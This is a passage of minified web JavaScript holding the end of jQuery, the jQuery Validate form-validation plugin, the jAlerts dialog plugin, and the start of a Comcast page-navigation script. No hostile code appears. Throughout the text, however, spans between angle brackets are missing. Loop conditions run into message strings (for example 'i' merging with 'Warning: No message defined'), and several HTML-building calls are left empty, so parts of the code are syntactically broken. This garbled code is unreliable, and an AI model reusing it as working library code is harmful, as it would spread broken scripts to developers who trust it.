false}else{e=b-this.startTime;this.state=e/this.options.duration;a=this.options.easing||(c.easing.swing?"swing":"linear");this.pos=c.easing[this.options.specialEasing&&this.options.specialEasing[this.prop]||a](this.state,e,0,1,this.options.duration);this.now=this.start+(this.end-this.start)*this.pos;this.update()}return true}};c.extend(c.fx,{tick:function(){for(var a=c.timers,b=0;b
"; +a.insertBefore(b,a.firstChild);d=b.firstChild;f=d.firstChild;e=d.nextSibling.firstChild.firstChild;this.doesNotAddBorder=f.offsetTop!==5;this.doesAddBorderForTableAndCells=e.offsetTop===5;f.style.position="fixed";f.style.top="20px";this.supportsFixedPosition=f.offsetTop===20||f.offsetTop===15;f.style.position=f.style.top="";d.style.overflow="hidden";d.style.position="relative";this.subtractsBorderForOverflowNotVisible=f.offsetTop===-5;this.doesNotIncludeMarginInBodyOffset=a.offsetTop!==j;a.removeChild(b); +c.offset.initialize=c.noop},bodyOffset:function(a){var b=a.offsetTop,d=a.offsetLeft;c.offset.initialize();if(c.offset.doesNotIncludeMarginInBodyOffset){b+=parseFloat(c.curCSS(a,"marginTop",true))||0;d+=parseFloat(c.curCSS(a,"marginLeft",true))||0}return{top:b,left:d}},setOffset:function(a,b,d){if(/static/.test(c.curCSS(a,"position")))a.style.position="relative";var f=c(a),e=f.offset(),j=parseInt(c.curCSS(a,"top",true),10)||0,i=parseInt(c.curCSS(a,"left",true),10)||0;if(c.isFunction(b))b=b.call(a, +d,e);d={top:b.top-e.top+j,left:b.left-e.left+i};"using"in b?b.using.call(a,d):f.css(d)}};c.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),d=this.offset(),f=/^body|html$/i.test(b[0].nodeName)?{top:0,left:0}:b.offset();d.top-=parseFloat(c.curCSS(a,"marginTop",true))||0;d.left-=parseFloat(c.curCSS(a,"marginLeft",true))||0;f.top+=parseFloat(c.curCSS(b[0],"borderTopWidth",true))||0;f.left+=parseFloat(c.curCSS(b[0],"borderLeftWidth",true))||0;return{top:d.top- +f.top,left:d.left-f.left}},offsetParent:function(){return this.map(function(){for(var a=this.offsetParent||s.body;a&&!/^body|html$/i.test(a.nodeName)&&c.css(a,"position")==="static";)a=a.offsetParent;return a})}});c.each(["Left","Top"],function(a,b){var d="scroll"+b;c.fn[d]=function(f){var e=this[0],j;if(!e)return null;if(f!==w)return this.each(function(){if(j=wa(this))j.scrollTo(!a?f:c(j).scrollLeft(),a?f:c(j).scrollTop());else this[d]=f});else return(j=wa(e))?"pageXOffset"in j?j[a?"pageYOffset": +"pageXOffset"]:c.support.boxModel&&j.document.documentElement[d]||j.document.body[d]:e[d]}});c.each(["Height","Width"],function(a,b){var d=b.toLowerCase();c.fn["inner"+b]=function(){return this[0]?c.css(this[0],d,false,"padding"):null};c.fn["outer"+b]=function(f){return this[0]?c.css(this[0],d,false,f?"margin":"border"):null};c.fn[d]=function(f){var e=this[0];if(!e)return f==null?null:this;if(c.isFunction(f))return this.each(function(j){var i=c(this);i[d](f.call(this,j,i[d]()))});return"scrollTo"in +e&&e.document?e.document.compatMode==="CSS1Compat"&&e.document.documentElement["client"+b]||e.document.body["client"+b]:e.nodeType===9?Math.max(e.documentElement["client"+b],e.body["scroll"+b],e.documentElement["scroll"+b],e.body["offset"+b],e.documentElement["offset"+b]):f===w?c.css(e,d):this.css(d,typeof f==="string"?f:f+"px")}});A.jQuery=A.$=c})(window); + + +(function($){$.extend($.fn,{validate:function(options){if(!this.length){options&&options.debug&&window.console&&console.warn("nothing selected, can't validate, returning nothing");return} +var validator=$.data(this[0],"validator");if(validator){return validator} +validator=new $.validator(options,this[0]);$.data(this[0],"validator",validator);if(validator.settings.onsubmit){this.find("input, button").filter(".cancel").click(function(){validator.cancelSubmit=true});if(validator.settings.submitHandler){this.find("input, button").filter(":submit").click(function(){validator.submitButton=this})} +this.submit(function(event){if(validator.settings.debug){event.preventDefault()}function handle(){if(validator.settings.submitHandler){if(validator.submitButton){var hidden=$("").attr("name",validator.submitButton.name).val(validator.submitButton.value).appendTo(validator.currentForm)} +validator.settings.submitHandler.call(validator,validator.currentForm);if(validator.submitButton){hidden.remove()} +return false} +return true} +if(validator.cancelSubmit){validator.cancelSubmit=false;return handle()} +if(validator.form()){if(validator.pendingRequest){validator.formSubmitted=true;return false} +return handle()}else{validator.focusInvalid();return false}})} +return validator},valid:function(){if($(this[0]).is("form")){return this.validate().form()}else{var valid=true;var validator=$(this[0].form).validate();this.each(function(){valid&=validator.element(this)});return valid}},removeAttrs:function(attributes){var result={},$element=this;$.each(attributes.split(/\s/),function(index,value){result[value]=$element.attr(value);$element.removeAttr(value)});return result},rules:function(command,argument){var element=this[0];if(command){var settings=$.data(element.form,"validator").settings;var staticRules=settings.rules;var existingRules=$.validator.staticRules(element);switch(command){case"add":$.extend(existingRules,$.validator.normalizeRule(argument));staticRules[element.name]=existingRules;if(argument.messages){settings.messages[element.name]=$.extend(settings.messages[element.name],argument.messages)} +break;case"remove":if(!argument){delete staticRules[element.name];return existingRules} +var filtered={};$.each(argument.split(/\s/),function(index,method){filtered[method]=existingRules[method];delete existingRules[method]});return filtered}} +var data=$.validator.normalizeRules($.extend({},$.validator.metadataRules(element),$.validator.classRules(element),$.validator.attributeRules(element),$.validator.staticRules(element)),element);if(data.required){var param=data.required;delete data.required;data=$.extend({required:param},data)} +return data}});$.extend($.expr[":"],{blank:function(a){return!$.trim(a.value)},filled:function(a){return!!$.trim(a.value)},unchecked:function(a){return!a.checked}});$.validator=function(options,form){this.settings=$.extend({},$.validator.defaults,options);this.currentForm=form;this.init()};$.validator.format=function(source,params){if(arguments.length==1){return function(){var args=$.makeArray(arguments);args.unshift(source);return $.validator.format.apply(this,args)}} +if(arguments.length>2&¶ms.constructor!=Array){params=$.makeArray(arguments).slice(1)} +if(params.constructor!=Array){params=[params]} +$.each(params,function(i,n){source=source.replace(new RegExp("\\{"+i+"\\}","g"),n)});return source};$.extend($.validator,{defaults:{messages:{},groups:{},rules:{},errorClass:"error",validClass:"valid",errorElement:"label",focusInvalid:true,errorContainer:$([]),errorLabelContainer:$([]),onsubmit:true,ignore:[],ignoreTitle:false,onfocusin:function(element){this.lastActive=element;if(this.settings.focusCleanup&&!this.blockFocusCleanup){this.settings.unhighlight&&this.settings.unhighlight.call(this,element,this.settings.errorClass,this.settings.validClass);this.errorsFor(element).hide()}},onfocusout:function(element){if(!this.checkable(element)&&(element.name in this.submitted||!this.optional(element))){this.element(element)}},onkeyup:function(element){if(element.name in this.submitted||element==this.lastElement){this.element(element)}},onclick:function(element){if(element.name in this.submitted){this.element(element)}},highlight:function(element,errorClass,validClass){$(element).addClass(errorClass).removeClass(validClass)},unhighlight:function(element,errorClass,validClass){$(element).removeClass(errorClass).addClass(validClass)}},setDefaults:function(settings){$.extend($.validator.defaults,settings)},messages:{required:"This field is required.",remote:"Please fix this field.",email:"Please enter a valid email address.",url:"Please enter a valid URL.",date:"Please enter a valid date.",dateISO:"Please enter a valid date (ISO).",dateDE:"Bitte geben Sie ein gltiges Datum ein.",number:"Please enter a valid number.",numberDE:"Bitte geben Sie eine Nummer ein.",digits:"Please enter only digits",creditcard:"Please enter a valid credit card number.",equalTo:"Please enter the same value again.",accept:"Please enter a value with a valid extension.",maxlength:$.validator.format("Please enter no more than {0} characters."),minlength:$.validator.format("Please enter at least {0} characters."),rangelength:$.validator.format("Please enter a value between {0} and {1} characters long."),range:$.validator.format("Please enter a value between {0} and {1}."),max:$.validator.format("Please enter a value less than or equal to {0}."),min:$.validator.format("Please enter a value greater than or equal to {0}.")},autoCreateRanges:false,prototype:{init:function(){this.labelContainer=$(this.settings.errorLabelContainer);this.errorContext=this.labelContainer.length&&this.labelContainer||$(this.currentForm);this.containers=$(this.settings.errorContainer).add(this.settings.errorLabelContainer);this.submitted={};this.valueCache={};this.pendingRequest=0;this.pending={};this.invalid={};this.reset();var groups=(this.groups={});$.each(this.settings.groups,function(key,value){$.each(value.split(/\s/),function(index,name){groups[name]=key})});var rules=this.settings.rules;$.each(rules,function(key,value){rules[key]=$.validator.normalizeRule(value)});function delegate(event){var validator=$.data(this[0].form,"validator");validator.settings["on"+event.type]&&validator.settings["on"+event.type].call(validator,this[0])} +$(this.currentForm).delegate("focusin focusout keyup",":text, :password, :file, select, textarea",delegate).delegate("click",":radio, :checkbox",delegate);if(this.settings.invalidHandler){$(this.currentForm).bind("invalid-form.validate",this.settings.invalidHandler)}},form:function(){this.checkForm();$.extend(this.submitted,this.errorMap);this.invalid=$.extend({},this.errorMap);if(!this.valid()){$(this.currentForm).triggerHandler("invalid-form",[this])} +this.showErrors();return this.valid()},checkForm:function(){this.prepareForm();for(var i=0,elements=(this.currentElements=this.elements());elements[i];i++){this.check(elements[i])} +return this.valid()},element:function(element){element=this.clean(element);this.lastElement=element;this.prepareElement(element);this.currentElements=$(element);var result=this.check(element);if(result){delete this.invalid[element.name]}else{this.invalid[element.name]=true} +if(!this.numberOfInvalids()){this.toHide=this.toHide.add(this.containers)} +this.showErrors();return result},showErrors:function(errors){if(errors){$.extend(this.errorMap,errors);this.errorList=[];for(var name in errors){this.errorList.push({message:errors[name],element:this.findByName(name)[0]})} +this.successList=$.grep(this.successList,function(element){return!(element.name in errors)})} +this.settings.showErrors?this.settings.showErrors.call(this,this.errorMap,this.errorList):this.defaultShowErrors()},resetForm:function(){if($.fn.resetForm){$(this.currentForm).resetForm()} +this.submitted={};this.prepareForm();this.hideErrors();this.elements().removeClass(this.settings.errorClass)},numberOfInvalids:function(){return this.objectLength(this.invalid)},objectLength:function(obj){var count=0;for(var i in obj){count++} +return count},hideErrors:function(){this.addWrapper(this.toHide).hide()},valid:function(){return this.size()==0},size:function(){return this.errorList.length},focusInvalid:function(){if(this.settings.focusInvalid){try{$(this.findLastActive()||this.errorList.length&&this.errorList[0].element||[]).filter(":visible").focus()}catch(e){}}},findLastActive:function(){var lastActive=this.lastActive;return lastActive&&$.grep(this.errorList,function(n){return n.element.name==lastActive.name}).length==1&&lastActive},elements:function(){var validator=this,rulesCache={};return $([]).add(this.currentForm.elements).filter(":input").not(":submit, :reset, :image, [disabled]").not(this.settings.ignore).filter(function(){!this.name&&validator.settings.debug&&window.console&&console.error("%o has no name assigned",this);if(this.name in rulesCache||!validator.objectLength($(this).rules())){return false} +rulesCache[this.name]=true;return true})},clean:function(selector){return $(selector)[0]},errors:function(){return $(this.settings.errorElement+"."+this.settings.errorClass,this.errorContext)},reset:function(){this.successList=[];this.errorList=[];this.errorMap={};this.toShow=$([]);this.toHide=$([]);this.formSubmitted=false;this.currentElements=$([])},prepareForm:function(){this.reset();this.toHide=this.errors().add(this.containers)},prepareElement:function(element){this.reset();this.toHide=this.errorsFor(element)},check:function(element){element=this.clean(element);if(this.checkable(element)){element=this.findByName(element.name)[0]} +var rules=$(element).rules();var dependencyMismatch=false;for(method in rules){var rule={method:method,parameters:rules[method]};try{var result=$.validator.methods[method].call(this,element.value.replace(/\r/g,""),element,rule.parameters);if(result=="dependency-mismatch"){dependencyMismatch=true;continue} +dependencyMismatch=false;if(result=="pending"){this.toHide=this.toHide.not(this.errorsFor(element));return} +if(!result){this.formatAndAdd(element,rule);return false}}catch(e){this.settings.debug&&window.console&&console.log("exception occured when checking element "+element.id+", check the '"+rule.method+"' method");throw e}} +if(dependencyMismatch){return} +if(this.objectLength(rules)){this.successList.push(element)} +return true},customMetaMessage:function(element,method){if(!$.metadata){return} +var meta=this.settings.meta?$(element).metadata()[this.settings.meta]:$(element).metadata();return meta&&meta.messages&&meta.messages[method]},customMessage:function(name,method){var m=this.settings.messages[name];return m&&(m.constructor==String?m:m[method])},findDefined:function(){for(var i=0;iWarning: No message defined for "+element.name+"")},formatAndAdd:function(element,rule){var message=this.defaultMessage(element,rule.method);if(typeof message=="function"){message=message.call(this,rule.parameters,element)} +this.errorList.push({message:message,element:element});this.errorMap[element.name]=message;this.submitted[element.name]=message},addWrapper:function(toToggle){if(this.settings.wrapper){toToggle=toToggle.add(toToggle.parent(this.settings.wrapper))} +return toToggle},defaultShowErrors:function(){for(var i=0;this.errorList[i];i++){var error=this.errorList[i];this.settings.highlight&&this.settings.highlight.call(this,error.element,this.settings.errorClass,this.settings.validClass);this.showLabel(error.element,error.message)} +if(this.errorList.length){this.toShow=this.toShow.add(this.containers)} +if(this.settings.success){for(var i=0;this.successList[i];i++){this.showLabel(this.successList[i])}} +if(this.settings.unhighlight){for(var i=0,elements=this.validElements();elements[i];i++){this.settings.unhighlight.call(this,elements[i],this.settings.errorClass,this.settings.validClass)}} +this.toHide=this.toHide.not(this.toShow);this.hideErrors();this.addWrapper(this.toShow).show()},validElements:function(){return this.currentElements.not(this.invalidElements())},invalidElements:function(){return $(this.errorList).map(function(){return this.element})},showLabel:function(element,message){var label=this.errorsFor(element);if(label.length){label.removeClass().addClass(this.settings.errorClass);label.attr("generated")&&label.html(message)}else{label=$("<"+this.settings.errorElement+"/>").attr({"for":this.idOrName(element),generated:true}).addClass(this.settings.errorClass).html(message||"");if(this.settings.wrapper){label=label.hide().show().wrap("<"+this.settings.wrapper+"/>").parent()} +if(!this.labelContainer.append(label).length){this.settings.errorPlacement?this.settings.errorPlacement(label,$(element)):label.insertAfter(element)}} +if(!message&&this.settings.success){label.text("");typeof this.settings.success=="string"?label.addClass(this.settings.success):this.settings.success(label)} +this.toShow=this.toShow.add(label)},errorsFor:function(element){return this.errors().filter("[for='"+this.idOrName(element)+"']")},idOrName:function(element){return this.groups[element.name]||(this.checkable(element)?element.name:element.id||element.name)},checkable:function(element){return/radio|checkbox/i.test(element.type)},findByName:function(name){var form=this.currentForm;return $(document.getElementsByName(name)).map(function(index,element){return element.form==form&&element.name==name&&element||null})},getLength:function(value,element){switch(element.nodeName.toLowerCase()){case"select":return $("option:selected",element).length;case"input":if(this.checkable(element)){return this.findByName(element.name).filter(":checked").length}} +return value.length},depend:function(param,element){return this.dependTypes[typeof param]?this.dependTypes[typeof param](param,element):true},dependTypes:{"boolean":function(param,element){return param},string:function(param,element){return!!$(param,element.form).length},"function":function(param,element){return param(element)}},optional:function(element){return!$.validator.methods.required.call(this,$.trim(element.value),element)&&"dependency-mismatch"},startRequest:function(element){if(!this.pending[element.name]){this.pendingRequest++;this.pending[element.name]=true}},stopRequest:function(element,valid){this.pendingRequest--;if(this.pendingRequest<0){this.pendingRequest=0} +delete this.pending[element.name];if(valid&&this.pendingRequest==0&&this.formSubmitted&&this.form()){$(this.currentForm).submit()}else{if(!valid&&this.pendingRequest==0&&this.formSubmitted){$(this.currentForm).triggerHandler("invalid-form",[this])}}},previousValue:function(element){return $.data(element,"previousValue")||$.data(element,"previousValue",previous={old:null,valid:true,message:this.defaultMessage(element,"remote")})}},classRuleSettings:{required:{required:true},email:{email:true},url:{url:true},date:{date:true},dateISO:{dateISO:true},dateDE:{dateDE:true},number:{number:true},numberDE:{numberDE:true},digits:{digits:true},creditcard:{creditcard:true}},addClassRules:function(className,rules){className.constructor==String?this.classRuleSettings[className]=rules:$.extend(this.classRuleSettings,className)},classRules:function(element){var rules={};var classes=$(element).attr("class");classes&&$.each(classes.split(" "),function(){if(this in $.validator.classRuleSettings){$.extend(rules,$.validator.classRuleSettings[this])}});return rules},attributeRules:function(element){var rules={};var $element=$(element);for(method in $.validator.methods){var value=$element.attr(method);if(value){rules[method]=value}} +if(rules.maxlength&&/-1|2147483647|524288/.test(rules.maxlength)){delete rules.maxlength} +return rules},metadataRules:function(element){if(!$.metadata){return{}} +var meta=$.data(element.form,"validator").settings.meta;return meta?$(element).metadata()[meta]:$(element).metadata()},staticRules:function(element){var rules={};var validator=$.data(element.form,"validator");if(validator.settings.rules){rules=$.validator.normalizeRule(validator.settings.rules[element.name])||{}} +return rules},normalizeRules:function(rules,element){$.each(rules,function(prop,val){if(val===false){delete rules[prop];return} +if(val.param||val.depends){var keepRule=true;switch(typeof val.depends){case"string":keepRule=!!$(val.depends,element.form).length;break;case"function":keepRule=val.depends.call(element,element);break} +if(keepRule){rules[prop]=val.param!==undefined?val.param:true}else{delete rules[prop]}}});$.each(rules,function(rule,parameter){rules[rule]=$.isFunction(parameter)?parameter(element):parameter});$.each(["minlength","maxlength","min","max"],function(){if(rules[this]){rules[this]=Number(rules[this])}});$.each(["rangelength","range"],function(){if(rules[this]){rules[this]=[Number(rules[this][0]),Number(rules[this][1])]}});if($.validator.autoCreateRanges){if(rules.min&&rules.max){rules.range=[rules.min,rules.max];delete rules.min;delete rules.max} +if(rules.minlength&&rules.maxlength){rules.rangelength=[rules.minlength,rules.maxlength];delete rules.minlength;delete rules.maxlength}} +if(rules.messages){delete rules.messages} +return rules},normalizeRule:function(data){if(typeof data=="string"){var transformed={};$.each(data.split(/\s/),function(){transformed[this]=true});data=transformed} +return data},addMethod:function(name,method,message){$.validator.methods[name]=method;$.validator.messages[name]=message||$.validator.messages[name];if(method.length<3){$.validator.addClassRules(name,$.validator.normalizeRule(name))}},methods:{required:function(value,element,param){if(!this.depend(param,element)){return"dependency-mismatch"} +switch(element.nodeName.toLowerCase()){case"select":var options=$("option:selected",element);return options.length>0&&(element.type=="select-multiple"||($.browser.msie&&!(options[0].attributes.value.specified)?options[0].text:options[0].value).length>0);case"input":if(this.checkable(element)){return this.getLength(value,element)>0} +default:return $.trim(value).length>0}},remote:function(value,element,param){if(this.optional(element)){return"dependency-mismatch"} +var previous=this.previousValue(element);if(!this.settings.messages[element.name]){this.settings.messages[element.name]={}} +this.settings.messages[element.name].remote=typeof previous.message=="function"?previous.message(value):previous.message;param=typeof param=="string"&&{url:param}||param;if(previous.old!==value){previous.old=value;var validator=this;this.startRequest(element);var data={};data[element.name]=value;$.ajax($.extend(true,{url:param,mode:"abort",port:"validate"+element.name,dataType:"json",data:data,success:function(response){var valid=response===true;if(valid){var submitted=validator.formSubmitted;validator.prepareElement(element);validator.formSubmitted=submitted;validator.successList.push(element);validator.showErrors()}else{var errors={};errors[element.name]=previous.message=response||validator.defaultMessage(element,"remote");validator.showErrors(errors)} +previous.valid=valid;validator.stopRequest(element,valid)}},param));return"pending"}else{if(this.pending[element.name]){return"pending"}} +return previous.valid},minlength:function(value,element,param){return this.optional(element)||this.getLength($.trim(value),element)>=param},maxlength:function(value,element,param){return this.optional(element)||this.getLength($.trim(value),element)<=param},rangelength:function(value,element,param){var length=this.getLength($.trim(value),element);return this.optional(element)||(length>=param[0]&&length<=param[1])},min:function(value,element,param){return this.optional(element)||value>=param},max:function(value,element,param){return this.optional(element)||value<=param},range:function(value,element,param){return this.optional(element)||(value>=param[0]&&value<=param[1])},email:function(value,element){return this.optional(element)||/^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i.test(value)},url:function(value,element){return this.optional(element)||/^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/i.test(value)},date:function(value,element){return this.optional(element)||!/Invalid|NaN/.test(new Date(value))},dateISO:function(value,element){return this.optional(element)||/^\d{4}[\/-]\d{1,2}[\/-]\d{1,2}$/.test(value)},dateDE:function(value,element){return this.optional(element)||/^\d\d?\.\d\d?\.\d\d\d?\d?$/.test(value)},number:function(value,element){return this.optional(element)||/^-?(?:\d+|\d{1,3}(?:,\d{3})+)(?:\.\d+)?$/.test(value)},numberDE:function(value,element){return this.optional(element)||/^-?(?:\d+|\d{1,3}(?:\.\d{3})+)(?:,\d+)?$/.test(value)},digits:function(value,element){return this.optional(element)||/^\d+$/.test(value)},creditcard:function(value,element){if(this.optional(element)){return"dependency-mismatch"} +if(/[^0-9-]+/.test(value)){return false} +var nCheck=0,nDigit=0,bEven=false;value=value.replace(/\D/g,"");for(n=value.length-1;n>=0;n--){var cDigit=value.charAt(n);var nDigit=parseInt(cDigit,10);if(bEven){if((nDigit*=2)>9){nDigit-=9}} +nCheck+=nDigit;bEven=!bEven} +return(nCheck%10)==0},accept:function(value,element,param){param=typeof param=="string"?param.replace(/,/g,"|"):"png|jpe?g|gif";return this.optional(element)||value.match(new RegExp(".("+param+")$","i"))},equalTo:function(value,element,param){return value==$(param).val()}}});$.format=$.validator.format})(jQuery);(function($){var ajax=$.ajax;var pendingRequests={};$.ajax=function(settings){settings=$.extend(settings,$.extend({},$.ajaxSettings,settings));var port=settings.port;if(settings.mode=="abort"){if(pendingRequests[port]){pendingRequests[port].abort()} +return(pendingRequests[port]=ajax.apply(this,arguments))} +return ajax.apply(this,arguments)}})(jQuery);(function($){$.each({focus:"focusin",blur:"focusout"},function(original,fix){$.event.special[fix]={setup:function(){if($.browser.msie){return false} +this.addEventListener(original,$.event.special[fix].handler,true)},teardown:function(){if($.browser.msie){return false} +this.removeEventListener(original,$.event.special[fix].handler,true)},handler:function(e){arguments[0]=$.event.fix(e);arguments[0].type=fix;return $.event.handle.apply(this,arguments)}}});$.extend($.fn,{delegate:function(type,delegate,handler){return this.bind(type,function(event){var target=$(event.target);if(target.is(delegate)){return handler.apply(target,arguments)}})},triggerEvent:function(type,target){return this.triggerHandler(type,[$.event.fix({type:type,target:target})])}})})(jQuery);(function($){$.alerts={verticalOffset:-75,horizontalOffset:0,repositionOnResize:true,overlayOpacity:0.5,overlayColor:"#000",draggable:true,okButton:" OK ",cancelButton:" Cancel ",dialogClass:null,alert:function(message,title,callback){if(title==null){title="Alert"} +$.alerts._show(title,message,null,"alert",function(result){if(callback){callback(result)}})},confirm:function(message,title,callback){if(title==null){title="Confirm"} +$.alerts._show(title,message,null,"confirm",function(result){if(callback){callback(result)}})},prompt:function(message,value,title,callback){if(title==null){title="Prompt"} +$.alerts._show(title,message,value,"prompt",function(result){if(callback){callback(result)}})},_show:function(title,msg,value,type,callback){$.alerts._hide();$.alerts._overlay("show");$("BODY").append('');if($.alerts.dialogClass){$("#popup_container").addClass($.alerts.dialogClass)} +var pos=($.browser.msie&&parseInt($.browser.version)<=6)?"absolute":"fixed";$("#popup_container").css({position:pos,zIndex:99999,padding:0,margin:0});$("#popup_title").text(title);$("#popup_content").addClass(type);$("#popup_message").text(msg);$("#popup_message").html($("#popup_message").text().replace(/\n/g,"
"));$("#popup_container").css({minWidth:$("#popup_container").outerWidth(),maxWidth:$("#popup_container").outerWidth()});$.alerts._reposition();$.alerts._maintainPosition(true);switch(type){case"alert":$("#popup_message").after('');$("#popup_ok").click(function(){$.alerts._hide();callback(true)});$("#popup_ok").focus().keypress(function(e){if(e.keyCode==13||e.keyCode==27){$("#popup_ok").trigger("click")}});break;case"confirm":$("#popup_message").after('');$("#popup_ok").click(function(){$.alerts._hide();if(callback){callback(true)}});$("#popup_cancel").click(function(){$.alerts._hide();if(callback){callback(false)}});$("#popup_ok").focus();$("#popup_ok, #popup_cancel").keypress(function(e){if(e.keyCode==13){$("#popup_ok").trigger("click")} +if(e.keyCode==27){$("#popup_cancel").trigger("click")}});break;case"prompt":$("#popup_message").append('
').after('');$("#popup_prompt").width($("#popup_message").width());$("#popup_ok").click(function(){var val=$("#popup_prompt").val();$.alerts._hide();if(callback){callback(val)}});$("#popup_cancel").click(function(){$.alerts._hide();if(callback){callback(null)}});$("#popup_prompt, #popup_ok, #popup_cancel").keypress(function(e){if(e.keyCode==13){$("#popup_ok").trigger("click")} +if(e.keyCode==27){$("#popup_cancel").trigger("click")}});if(value){$("#popup_prompt").val(value)} +$("#popup_prompt").focus().select();break} +if($.alerts.draggable){try{$("#popup_container").draggable({handle:$("#popup_title")});$("#popup_title").css({cursor:"move"})}catch(e){}}},_hide:function(){$("#popup_container").remove();$.alerts._overlay("hide");$.alerts._maintainPosition(false)},_overlay:function(status){switch(status){case"show":$.alerts._overlay("hide");$("BODY").append('');$("#popup_overlay").css({position:"absolute",zIndex:99998,top:"0px",left:"0px",width:"100%",height:$(document).height(),background:$.alerts.overlayColor,opacity:$.alerts.overlayOpacity});break;case"hide":$("#popup_overlay").remove();break}},_reposition:function(){var top=(($(window).height()/2)-($("#popup_container").outerHeight()/2))+$.alerts.verticalOffset;var left=(($(window).width()/2)-($("#popup_container").outerWidth()/2))+$.alerts.horizontalOffset;if(top<0){top=0} +if(left<0){left=0} +if($.browser.msie&&parseInt($.browser.version)<=6){top=top+$(window).scrollTop()} +$("#popup_container").css({top:top+"px",left:left+"px"});$("#popup_overlay").height($(document).height())},_maintainPosition:function(status){if($.alerts.repositionOnResize){switch(status){case true:$(window).bind("resize",$.alerts._reposition);break;case false:$(window).unbind("resize",$.alerts._reposition);break}}}};jAlert=function(message,title,callback){$.alerts.alert(message,title,callback)};jConfirm=function(message,title,callback){$.alerts.confirm(message,title,callback)};jPrompt=function(message,value,title,callback){$.alerts.prompt(message,value,title,callback)}})(jQuery);var comcast=window.comcast||{};comcast.page=function(){function setupLeftNavigation(selectedNavElement){if(typeof selectedNavElement=="string"){$("#nav li."+selectedNavElement+" a").addClass("selected")} +$("#nav ul:has(.selected)").show();$("#nav li li:has(ul) > a").addClass("folder");$("#nav li li:has(.selected) > a").addClass("folder-open");$("#nav li:has(.selected) > a.top-level").addClass("top-level-active");$("#nav a.top-level").click(function(){var $topNav=$("#nav a.top-level-active");var $newNav=$(this);var $newNavList=$newNav.next();if(!$newNav.hasClass("top-level-active")){$("#nav a.top-level-active").removeClass("top-level-active").next();$(this).addClass("top-level-active");$topNav.next();$newNav.next()}});$("#nav a.folder").click(function(){var $link=$(this);var $list=$link.next();if($link.is(".folder-open")){$link.removeClass("folder-open");$list.slideUp()}else{$link.addClass("folder-open");$list.slideDown()}});if($.browser.mozilla){var $version=$.browser.version.split(".");if($version[0]&&parseInt($version[0],10)<=1){if($version[1]&&parseInt($version[1],10)<=9){if($version[2]&&parseInt($version[2],10)<=0){if($version[3]&&parseInt($version[3],10)<=11||parseInt($version[3],10)<=14){$(".block").addClass("ff2");$(".block").wrapInner($('
'))}}}} +if($version[0]&&parseInt($version[0],10)<=1){if($version[1]&&parseInt($version[1],10)<=8){if($version[2]&&parseInt($version[2],10)<=1){if($version[3]&&parseInt($version[3],10)<=15){$(".block").addClass("ff2");$(".block").wrapInner($('
